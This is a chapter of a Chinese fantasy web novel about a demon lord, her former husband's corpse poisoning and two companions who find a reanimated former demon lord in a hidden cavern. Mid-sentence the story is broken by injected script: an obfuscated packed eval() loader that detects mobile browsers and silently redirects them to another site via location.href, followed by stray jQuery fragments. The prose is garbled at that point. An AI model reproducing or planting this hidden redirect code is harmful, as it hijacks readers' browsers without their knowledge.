14. 季长鹤

她向闻羡传授了一套能抑制尸毒扩散的心法,而后又耗费了自身灵力帮他驱散。但这些至多只能帮他多撑会,如若任由蔓延,怕是会伤及根骨。


“真是好端端的没事给我添麻烦……”李垂容咬紧了牙关,全神贯注地为他尽可能的逼散尸毒。


她有些无法理解,闻羡到底在别扭什么东西?既然跟自己一齐踏入了幻境,出来后救都救了,就不能直接告诉自己吗?!


李垂容又不是不留他在魔域稍作修养,结果闻羡那厮还惧怕被自己得知真相,宁愿骗她然后挺着一个元气大伤的身躯在魔域乱窜。


在作死这方面,闻羡简直天赋异禀,旁人望尘莫及。


结果就是成功地在她的地盘里出事了。


李垂容真的蛮想骂人的。


“好了,这是清心丹,你服下后就没什么大恙了,至于体内的余毒等出去你自己去解。”


“……好。”闻羡垂下了眼,一副低眉顺眼的模样。


她随后又仔细叮嘱了很多遍,几乎是对他耳提面命,担心这人拖自己后腿随后便想偷偷将他送出魔域。


谁知李垂容领着闻羡刚出门没走几步,一窝小鬼便围了上来,空洞无物的眼眸一眨不眨地看向他们。


“薛公子,你的新娘还在等你。”其中一名小鬼率先出声,听着没什么温度。


未等闻羡开口,李垂容忙抢先一步出声:“呃……薛公子他还没准备好,而且身体不太舒服,打算先在外面待会再去看新娘。”


“真的吗,你是谁?”小鬼直勾勾地看着她,衔上几分毛骨悚然的意味。


“真的,我是他老乡,我叫李垂容。”她微微俯下了身,面上尽量保持着温和的笑。


从某种程度上来说,他俩还真是老乡,就是近乡不情怯。


“你们放心好了,他只是太紧张了,我一定好好劝劝薛公子。”


后面又跟小鬼对视了十几秒钟,正当她以为暴露了什么后,一帮小鬼又慢悠悠离开了。


这么好骗?


李垂容有些感到不可思议。


“李垂容。”刚刚一直保持沉默的闻羡蓦然出声开口。


他原本想唤“容儿”,却在适才被她嫌恶,话语哽在喉间硬生生变成了全名,连他自己都觉得有些怪异。


“又怎么了?”李垂容有些没好气地回头看去,倒没觉得这个称呼有什么不对。


她现在不是很想跟这个前夫讲话,甚至说看他都有些来气。


要死能不能死远点,别在魔域出事就行。


当然,这种非常伤人自尊的话她还是咽回了肚子没有说出来。何况毕竟闻羡也是为了救她整出这么多没必要的事端,她无论如何也做不到冷眼旁观。


只希望日后别再有交集了。


“你既不是出来寻我,怕是要在此处理什么事宜吧。”


李垂容皱了皱眉,一眼便洞察了他的目的:“你想帮我?不行。”


还嫌麻烦不够多吗。


“我清楚你并无其他意思,因为我出手救了你。


但你如今身在魔域,若是出了任何差池与我都脱不了干系,何况你也曾救过我,你不用有任何负担。”


闻羡默了默,垂在身侧的手无意识地捏了捏指尖,指节凸显出苍白的皮肤,薄唇轻抿成一条线。


该怎么办才好……


他必须要想个理由。


一个能让她心甘情愿带着自己的理由。


“传闻魔域中有一花卉可解百毒,我身上的尸毒如若回宗疗愈,耽搁时间怕是会留病根,所以想助魔君成事,拿魔花交换。”


“你要灵犀花?”李垂容眸间微微一凝。


“是。”闻羡轻一点头。


“可是我并不需要,何况你如今有伤在身。”


“托魔君的福,我现在早已恢复得大差不差了,何况魔君此番一人,应许也是需要帮助的。”


李垂容撇了撇嘴,开始思忖了起来。


闻羡修为高深,这是修仙界公认的事实,哪怕受了伤,也定能发挥不俗的实力。


何况他这话也确实在理,尸毒并不好解,他现在再想办法回去说不定还会耽误疗愈,落下什么病根可就不好了。


而他要的灵犀花,可解世间百毒,并且也不会残留余毒,药到病除。


十分合理的条件。


合理的她都没理由拒绝了,如今魔域初兴,她更不可能再抓着从前的过往跟他不对付,根本划不来。


“好吧,我答应你,此事一过便给你灵犀花,但前提是你得听我行事。”李垂容斟酌着开口,语气缓和了不少。


闻羡心头松了口气,眉眼稍稍扬起:“好。”


他尽量让自己的表情看着乖些,看着非常听话,这样才好让她彻底松下心带着他。


“那么现在,你去想办法去支开那些小鬼,然后我去里面找找线索。”


闻羡看着李垂容猫着身子鬼鬼祟祟跑远的模样,嘴角轻轻牵起一笑。


……


石门内。


谢应在被谈翊之喊去帮忙时,发现他在细细端详着一处廊壁。


“你在看什么?”


“我在看,把剑刺向哪里这个地方才会坍塌。”


谢应:“……?”


他怔了怔,在确认谈翊之的表情真的没有开玩笑的意思后不可思议般开口:


“你疯了吗,这里塌了我们怎么办?”


谈翊之“啊”了一声后疑惑道:“你不是想出去吗?目前看来只能这样。”


“这就是你说的‘思路’开阔?”谢应扯了扯嘴角。


谈翊之不语,而是伸手轻轻敲了敲墙壁,沿着石阶往下走,忽而在一个地方停了下来。


“请借佩剑一用。”


谢应挣扎了两下,还是认命般将自己腰际别着的佩剑递了上去。


此剑跟了他许久,长二尺一寸,通体黑金,剑身极薄。


谈翊之夸了声“好剑”后,将剑身抛起挽了个漂亮的剑花,而后一剑插入墙壁。随着突起的轰鸣声,整个廊道开始逐渐颤动。


谢应还没反应过来,便被那人拉起手腕侧身一躲,二人齐齐掉入了座深坑之中。


待到理智稍稍回笼,他这才发现这里好像并不能称之为“坑”,更像是座微型洞天。


“谢将领还要从我身上躺到几时?”


耳边传来一道幽幽人声,距离极近,谢应甚至能感受到那人落在耳畔的温热吐息。


他被这声音吓了一大


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906051|160155||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


跳,脖颈处甚至起了层鸡皮疙瘩,这才发现自己原来上半身都压在了谈翊之的身上,忙不迭起身,差点绊倒自己。


“呃……不好意思。”


谈翊之漫不经心地起了身,掸了掸身上的灰,看着并没有多在意。


洞内一片死寂却又生机暗涌,二人边往里走边打量着环境,探幽取胜一般,习习阴风扑面而来。


“你是怎么发现的?”谢应没忍住问了一嘴,余光瞥向身前不远处的谈翊之。


“很简单,石壁上的纹路分布规律,只需要找寻那一脆弱的临界点,而在我敲墙壁的时候,只有刚刚那片区域有回声。”


谈翊之打了个哈欠,看都没看谢应,只自顾自地往前走。


“如果按照你刚刚那个逻辑,破解‘鬼打墙’,那我们必定是一辈子都出不来了。”


谢应暗“嘁”了声,破天荒地没与其争论什么,暗暗环视着周围。


看着只是一个平平无奇的洞天一般,并没有什么别的东西。


但是很快,他们便发现了不对劲。


“这个地势……在动?”谢应停了脚步,暗暗向身后看去。


“不错,真是奇怪……这个地方就像是有呼吸脉搏一般,还是随着我们动的。”谈翊之也停了下来,一双眸子里盛满了好奇。


而就在这时,前面倏然出现一个人影,看着模糊不清,被一层厚重的阴影覆盖。


谢应不敢轻举妄动,连忙掐出一抹火苗。在光的映照下,前方的阴霾瞬间开拓。


成堆成堆的白骨,被整齐堆放在四周,前方那个不明人影背着身低垂着头,在觉察到动静后缓缓将头扭动过来。


谢应在看清他的长相后瞳孔一缩,面上怔了一瞬。


苍白的没有人气的皮肤,深陷的眼窝,以及……与李垂容七分相像的面孔。


“啧……这就是鬼王吗?长的跟魔君有点像啊。”


谢应没动,眉间紧紧蹙起,“不是,他是前任魔君。”


季长鹤。


“前任魔君?看来传闻竟是真的了,只不过那个赶尸人哪去了。”


面前的“季长鹤”貌似听不懂他们说什么,神情有些呆滞,站在原地一动不动。


“啧…不是说被赶尸人‘复活’的尸体会保留部分意志吗,他这看着像是傻了。”


“不清楚,也许是因为他不认识我们也说不定。”


碰上他们是这样,碰上李垂容可就不一定了……


“那现在就给君上传话吧?也算是有了些新发现。”


谈翊之向前走了几步,细细围着“季长鹤”打量了几圈,时不时发出些“啧啧”声。


这皮竟然是缝起来的吗,看着就疼。


就在谢应准备冲着青丝施法时,他们身后突然传来一道声音——


“快……离开……这……”


是先前那个守着石门的冤魂。


谈翊之稍稍回眸,面上十分平静,似乎并不惊讶。


“离开?你好像很怕这个地方。”


“离开……这里……”


“那你怎么不走呢?”


“……”


冤魂似乎是愣住了,身子半天都没有动。


“我……走不掉了……”